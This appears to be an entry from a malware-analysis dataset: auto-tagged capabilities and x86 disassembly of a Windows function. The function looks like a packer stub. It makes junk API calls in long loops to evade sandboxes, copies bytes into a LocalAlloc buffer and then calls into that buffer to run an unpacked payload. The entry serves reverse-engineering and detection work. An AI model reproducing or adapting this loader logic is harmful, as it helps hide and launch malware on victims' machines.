Function at 0x43af10
Capabilities:
Get disk size
Get file attributes
Initialize winhttp library
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4494a8
push eax
mov dword fs:[0], esp
sub esp, 0x830
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
nop
cmp esi, 0xfa62c8f
jge 0x43af54
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x43af65
inc esi
cmp esi, 0x67d12
jl 0x43af40
cmp dword [0x45a9f4], 0x93
jne 0x43b06e
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor esi, esi
push esi
lea eax, [ebp - 0x838]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
xor ecx, ecx
lock bts dword [ecx], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov eax, dword [ebp - 0x10]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSetDefaultProxyConfiguration]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0x402df4
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], esi
mov byte [ebp - 0x2c], 0
call fcn.0043c5b0
add esp, 4
push eax
push 0x402df4
lea ecx, [ebp - 0x30]
call fcn.0043bbe0
push esi
mov dword [ebp - 4], esi
call fcn.0043c3c5
add esp, 4
push esi
call fcn.0043c876
add esp, 4
push esi
push esi
call fcn.0043c8a5
push esi
push esi
call fcn.0043c3ae
push esi
call fcn.0043c85f
add esp, 0x14
call fcn.0043af00
push esi
push esi
call fcn.0043c9d2
add esp, 8
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 0x10
jb 0x43b06e
mov edx, dword [ebp - 0x2c]
push edx
call fcn.0043c8b0
add esp, 4
mov eax, dword [0x44ed94]
mov dword [0x45b830], eax
mov eax, dword [0x45a9f4]
add eax, 0x1134b
push eax
push 0
mov dword [0x45a9f4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x45a480], eax
call fcn.0043ae40
mov esi, 0x1692e
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x43b0a0
cmp dword [0x45a9f4], esi
jbe 0x43b11a
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
nop
mov ecx, dword [0x45b830]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x45a480]
mov byte [eax + esi], dl
cmp dword [0x45a9f4], 0x490
jne 0x43b111
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea edx, [ebp - 0x14]
push edx
push 0
lea eax, [ebp - 0x28]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc esi
cmp esi, dword [0x45a9f4]
jb 0x43b0c0
mov esi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventA]
xor eax, eax
mov dword [ebp - 0x10], eax
mov ecx, dword [0x45a9f4]
add ecx, eax
cmp ecx, 0x8d
jne 0x43b177
push 0
lea edx, [ebp - 0x838]
push edx
push 0
push 0
push 0
push 0
call esi
push 0x402e04
push 0x402e14
call edi
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x38681
mov dword [ebp - 0x10], eax
jl 0x43b131
call fcn.0043ad00
xor edi, edi
xor esi, esi
jmp 0x43b190
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x43b1ae
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x1158e
mov ecx, dword [ebp - 0x10]
add dword [0x45a480], ecx
inc esi
cmp esi, 0x674bd
jl 0x43b190
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x45a9f4], 0x86
jne 0x43b20a
push 0
call esi
push 0
lea edx, [ebp - 0x438]
push edx
push 0x402e28
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
cmp dword [0x45a9f4], 0xf
jne 0x43b21f
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 0x10], 1
jne 0x43b1d0
call fcn.0043a9c0
call dword [0x45a480]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret